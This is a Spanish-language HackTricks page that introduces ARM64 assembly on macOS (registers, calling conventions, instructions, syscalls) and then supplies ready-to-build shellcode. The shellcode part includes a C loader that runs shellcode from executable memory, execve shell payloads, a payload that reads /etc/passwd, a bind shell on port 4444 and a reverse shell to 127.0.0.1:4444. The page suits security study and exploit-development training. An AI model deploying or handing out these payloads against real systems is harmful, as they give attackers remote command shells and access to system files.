hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

24 KiB

Introducción a ARM64

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introducción a ARM64

ARM64, también conocido como ARMv8-A, es una arquitectura de procesador de 64 bits utilizada en varios tipos de dispositivos, incluyendo teléfonos inteligentes, tabletas, servidores e incluso algunas computadoras personales de alta gama (macOS). Es un producto de ARM Holdings, una empresa conocida por sus diseños de procesadores eficientes en energía.

Registros

ARM64 tiene 31 registros de propósito general, etiquetados como x0 a x30. Cada uno puede almacenar un valor de 64 bits (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30.

  1. x0 a x7 - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
  • x0 también lleva los datos de retorno de una función.
  1. x8 - En el kernel de Linux, x8 se utiliza como el número de llamada al sistema para la instrucción svc. ¡En macOS se utiliza x16!
  2. x9 a x15 - Registros temporales adicionales, a menudo utilizados para variables locales.
  3. x16 y x17 - Registros temporales, también utilizados para llamadas de función indirectas y stubs de PLT (Procedure Linkage Table).
  • x16 se utiliza como el número de llamada al sistema para la instrucción svc.
  1. x18 - Registro de plataforma. En algunas plataformas, este registro está reservado para usos específicos de la plataforma.
  2. x19 a x28 - Estos son registros preservados por el llamado. Una función debe preservar los valores de estos registros para su llamador.
  3. x29 - Puntero de marco.
  4. x30 - Registro de enlace. Contiene la dirección de retorno cuando se ejecuta una instrucción BL (Branch with Link) o BLR (Branch with Link to Register).
  5. sp - Puntero de pila, utilizado para realizar un seguimiento de la parte superior de la pila.
  6. pc - Contador de programa, que apunta a la siguiente instrucción a ejecutar.

Convención de Llamada

La convención de llamada de ARM64 especifica que los primeros ocho parámetros de una función se pasan en los registros x0 a x7. Los parámetros adicionales se pasan en la pila. El valor de retorno se pasa de vuelta en el registro x0, o en x1 también si es de 128 bits. Los registros x19 a x30 y sp deben ser preservados en las llamadas a funciones.

Al leer una función en ensamblador, busca el prólogo y epílogo de la función. El prólogo generalmente implica guardar el puntero de marco (x29), configurar un nuevo puntero de marco y asignar espacio en la pila. El epílogo generalmente implica restaurar el puntero de marco guardado y retornar de la función.

Convención de Llamada en Swift

Swift tiene su propia convención de llamada que se puede encontrar en https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Instrucciones Comunes

Las instrucciones de ARM64 generalmente tienen el formato opcode dst, src1, src2, donde opcode es la operación que se va a realizar (como add, sub, mov, etc.), dst es el registro destino donde se almacenará el resultado, y src1 y src2 son los registros fuente. También se pueden utilizar valores inmediatos en lugar de registros fuente.

  • mov: Mover un valor de un registro a otro.
  • Ejemplo: mov x0, x1 — Esto mueve el valor de x1 a x0.
  • ldr: Cargar un valor de memoria en un registro.
  • Ejemplo: ldr x0, [x1] — Esto carga un valor desde la ubicación de memoria apuntada por x1 en x0.
  • str: Almacenar un valor de un registro en memoria.
  • Ejemplo: str x0, [x1] — Esto almacena el valor en x0 en la ubicación de memoria apuntada por x1.
  • ldp: Cargar Par de Registros. Esta instrucción carga dos registros desde ubicaciones de memoria consecutivas. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
  • Ejemplo: ldp x0, x1, [x2] — Esto carga x0 y x1 desde las ubicaciones de memoria en x2 y x2 + 8, respectivamente.
  • stp: Almacenar Par de Registros. Esta instrucción almacena dos registros en ubicaciones de memoria consecutivas. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
  • Ejemplo: stp x0, x1, [x2] — Esto almacena x0 y x1 en las ubicaciones de memoria en x2 y x2 + 8, respectivamente.
  • add: Sumar los valores de dos registros y almacenar el resultado en un registro.
  • Ejemplo: add x0, x1, x2 — Esto suma los valores en x1 y x2 y almacena el resultado en x0.
  • sub: Resta los valores de dos registros y almacena el resultado en un registro.
  • Ejemplo: sub x0, x1, x2 — Esto resta el valor en x2 de x1 y almacena el resultado en x0.
  • mul: Multiplica los valores de dos registros y almacena el resultado en un registro.
  • Ejemplo: mul x0, x1, x2 — Esto multiplica los valores en x1 y x2 y almacena el resultado en x0.
  • div: Divide el valor de un registro por otro y almacena el resultado en un registro.
  • Ejemplo: div x0, x1, x2 — Esto divide el valor en x1 por x2 y almacena el resultado en x0.
  • bl: Branch with link, se utiliza para llamar a una subrutina. Almacena la dirección de retorno en x30.
  • Ejemplo: bl myFunction — Esto llama a la función myFunction y almacena la dirección de retorno en x30.
  • blr: Branch with Link to Register, se utiliza para llamar a una subrutina donde el destino está especificado en un registro. Almacena la dirección de retorno en x30.
  • Ejemplo: blr x1 — Esto llama a la función cuya dirección está contenida en x1 y almacena la dirección de retorno en x30.
  • ret: Retorna de una subrutina, típicamente utilizando la dirección en x30.
  • Ejemplo: ret — Esto retorna de la subrutina actual utilizando la dirección de retorno en x30.
  • cmp: Compara dos registros y establece las banderas de condición.
  • Ejemplo: cmp x0, x1 — Esto compara los valores en x0 y x1 y establece las banderas de condición en consecuencia.
  • b.eq: Branch if equal, basado en la instrucción cmp anterior.
  • Ejemplo: b.eq label — Si la instrucción cmp anterior encontró dos valores iguales, esto salta a label.
  • b.ne: Branch if Not Equal. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no son iguales, salta a una etiqueta o dirección.
  • Ejemplo: Después de una instrucción cmp x0, x1, b.ne label — Si los valores en x0 y x1 no son iguales, esto salta a label.
  • cbz: Compare and Branch on Zero. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección.
  • Ejemplo: cbz x0, label — Si el valor en x0 es cero, esto salta a label.
  • cbnz: Compare and Branch on Non-Zero. Esta instrucción compara un registro con cero, y si no son iguales, salta a una etiqueta o dirección.
  • Ejemplo: cbnz x0, label — Si el valor en x0 no es cero, esto salta a label.
  • adrp: Calcula la dirección de página de un símbolo y la almacena en un registro.
  • Ejemplo: adrp x0, symbol — Esto calcula la dirección de página de symbol y la almacena en x0.
  • ldrsw: Carga un valor firmado de 32 bits desde la memoria y lo extiende a 64 bits.
  • Ejemplo: ldrsw x0, [x1] — Esto carga un valor firmado de 32 bits desde la ubicación de memoria apuntada por x1, lo extiende a 64 bits y lo almacena en x0.
  • stur: Almacena un valor de registro en una ubicación de memoria, utilizando un desplazamiento desde otro registro.
  • Ejemplo: stur x0, [x1, #4] — Esto almacena el valor en x0 en la dirección de memoria que es 4 bytes mayor que la dirección actual en x1.
  • svc : Realiza una llamada al sistema. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, cambia del modo de usuario al modo kernel y salta a una ubicación específica en la memoria donde se encuentra el código de manejo de llamadas al sistema del kernel.
  • Ejemplo:
mov x8, 93  ; Carga el número de llamada al sistema para salir (93) en el registro x8.
mov x0, 0   ; Carga el código de estado de salida (0) en el registro x0.
svc 0       ; Realiza la llamada al sistema.

Prólogo de la función

  1. Guarda el registro de enlace y el puntero de marco en la pila:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; almacena el par x29 y x30 en la pila y decrementa el puntero de pila

{% endcode %} 2. Configura el nuevo puntero de marco: mov x29, sp (configura el nuevo puntero de marco para la función actual) 3. Asigna espacio en la pila para variables locales (si es necesario): sub sp, sp, <size> (donde <size> es el número de bytes necesarios)

Epílogo de la función

  1. Desasigna las variables locales (si se asignaron): add sp, sp, <size>
  2. Restaura el registro de enlace y el puntero de marco:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; carga el par x29 y x30 desde la pila e incrementa el puntero de pila

{% endcode %} 3. Retorna: ret (devuelve el control al llamador utilizando la dirección en el registro de enlace)

macOS

Llamadas al sistema BSD

Consulta syscalls.master. Las llamadas al sistema BSD tendrán x16 > 0.

Trampas de Mach

Consulta syscall_sw.c. Las trampas de Mach tendrán x16 < 0, por lo que debes llamar a los números de la lista anterior con un signo menos: _kernelrpc_mach_vm_allocate_trap es -10.

También puedes consultar libsystem_kernel.dylib en un desensamblador para encontrar cómo llamar a estas llamadas al sistema (y a las llamadas al sistema BSD).

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} A veces es más fácil verificar el código descompilado de libsystem_kernel.dylib que verificar el código fuente porque el código de varias llamadas al sistema (BSD y Mach) se genera mediante scripts (verificar comentarios en el código fuente), mientras que en la dylib se puede encontrar qué se está llamando. {% endhint %}

Shellcodes

Para compilar:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Para extraer los bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Código C para probar el shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Tomado de [**aquí**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) y explicado.

{% tabs %}
{% tab title="con adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% tab title="con stack" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

{% endtab %} {% endtabs %}

Leer con cat

El objetivo es ejecutar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de direcciones).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Invocar un comando con sh desde un fork para que el proceso principal no sea terminado

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Shell de conexión

Shell de conexión desde https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s en puerto 4444.

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Shell inversa

Desde https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell a 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥